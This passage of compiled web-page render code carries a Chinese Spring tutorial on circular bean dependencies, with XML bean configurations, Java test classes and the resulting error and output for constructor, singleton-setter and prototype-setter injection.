punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("constructor-arg")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("index")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("0"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("constructor-arg")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("index")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("0"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("constructor-arg")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("index")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("0"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br")])]),s("p",[t._v("下面是测试类:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Test")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("static")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("main")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" args"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ApplicationContext")]),t._v(" context "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ClassPathXmlApplicationContext")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"com/liuqing/student/applicationContext.xml"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('//System.out.println(context.getBean("a", StudentA.class)); ')]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("执行结果报错信息为:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("Caused by: org.springframework.beans.factory.BeanCurrentlyInCreationException: \n Error creating bean with name "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'a'")]),s("span",{pre:!0,attrs:{class:"token builtin class-name"}},[t._v(":")]),t._v(" Requested bean is currently "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("in")]),t._v(" creation: Is there an unresolvable circular reference?\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("h3",{attrs:{id:"_2-setter方式单例-默认方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-setter方式单例-默认方式"}},[t._v("#")]),t._v(" 2.setter方式单例,默认方式")]),t._v(" "),s("p",[t._v("Spring中Bean实例化的图\n"),s("img",{staticClass:"lazy",attrs:{alt:"在这里插入图片描述","data-src":"https://img-blog.csdnimg.cn/20200817004920930.jpg#pic_center",loading:"lazy"}})]),t._v(" "),s("p",[t._v("如图中前两步骤得知:Spring是先将Bean对象实例化【依赖无参构造函数】---\x3e再设置对象属性的")]),t._v(" "),s("p",[t._v("修改配置文件为set方式注入:")]),t._v(" "),s("div",{staticClass:"language-xml line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-xml"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('\x3c!--scope="singleton"(默认就是单例方式) --\x3e')]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("singleton"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("singleton"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("singleton"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br")])]),s("p",[t._v("下面是测试类:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Test")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("static")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("main")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" args"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ApplicationContext")]),t._v(" context "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ClassPathXmlApplicationContext")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"com/liuqing/student/applicationContext.xml"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("System")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("out"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("println")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getBean")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"a"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("打印结果为:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("com.liuqing.student.StudentA@1fbfd6\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("我们结合上面那张图看,Spring先是用构造实例化Bean对象 ,此时Spring会将这个实例化结束的对象放到一个Map中,并且Spring提供了获取这个未设置属性的实例化对象引用的方法。 结合我们的实例来看,,当Spring实例化了StudentA、StudentB、StudentC后,紧接着会去设置对象的属性,此时StudentA依赖StudentB,就会去Map中取出存在里面的单例StudentB对象,以此类推,不会出来循环的问题")]),t._v(" "),s("h3",{attrs:{id:"_3-setter方式原型-prototype"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-setter方式原型-prototype"}},[t._v("#")]),t._v(" 3.setter方式原型,prototype")]),t._v(" "),s("p",[t._v("修改配置文件为:")]),t._v(" "),s("div",{staticClass:"language-xml line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-xml"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("prototype"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation 